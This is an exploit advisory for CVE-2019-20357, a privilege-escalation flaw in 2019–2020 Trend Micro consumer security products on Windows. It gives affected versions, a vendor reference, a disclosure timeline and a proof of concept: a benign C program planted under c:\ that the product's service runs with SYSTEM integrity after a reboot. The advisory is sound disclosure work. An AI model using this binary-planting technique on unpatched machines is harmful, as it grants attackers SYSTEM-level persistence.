# Exploit Title: Trend Micro Maximum Security 2019 - Privilege Escalation
# Date: 2020-1-16
# Exploit Author: hyp3rlinx
# Vendor Homepage: www.trendmicro.com
# Version: Platform Microsoft Windows, Premium Security 2019 (v15), Maximum Security 2019 (v15)
# Internet Security 2019 (v15), Antivirus + Security 2019 (v15)
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/TREND-MICRO-SECURITY-CONSUMER-PERSISTENT-ARBITRARY-CODE-EXECUTION.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.trendmicro.com
[Product(s)]
Trend Micro Security (Consumer) Multiple Products
Trend Micro Security provides comprehensive protection for your devices.
This includes protection against ransomware, viruses, malware, spyware, and identity theft.
[Vulnerability Type]
Persistent Arbitrary Code Execution
[CVE Reference]
CVE-2019-20357
[CVSSv3 Scores: 6.7]
[Security Issue]
Trend Micro Security can potentially allow an attackers to use a malicious program to escalate privileges
to SYSTEM integrity and attain persistence on a vulnerable system.
[Product Affected Versions]
Platform Microsoft Windows
Premium Security 2019 (v15) and 2020 (v16)
Maximum Security
2019 (v15) and 2020 (v16)
Internet Security
2019 (v15) and 2020 (v16)
Antivirus + Security
2019 (v15) and 2020 (v16)
[References]
https://esupport.trendmicro.com/en-us/home/pages/technical-support/1124099.aspx
[Exploit/POC]
Compile C test code "Program.c"
void main(void){
puts("Done!");
system("pause");
}
1) Place under c:\ dir.
2) Reboot the machine, the coreServiceShell.exe service loads and executes our binary with SYSTEM integrity.
[Network Access]
Local
[Severity]
Medium
[Disclosure Timeline]
Vendor Notification: October 8, 2019
vendor advisory: January 15, 2020
January 16, 2020 : Public Disclosure
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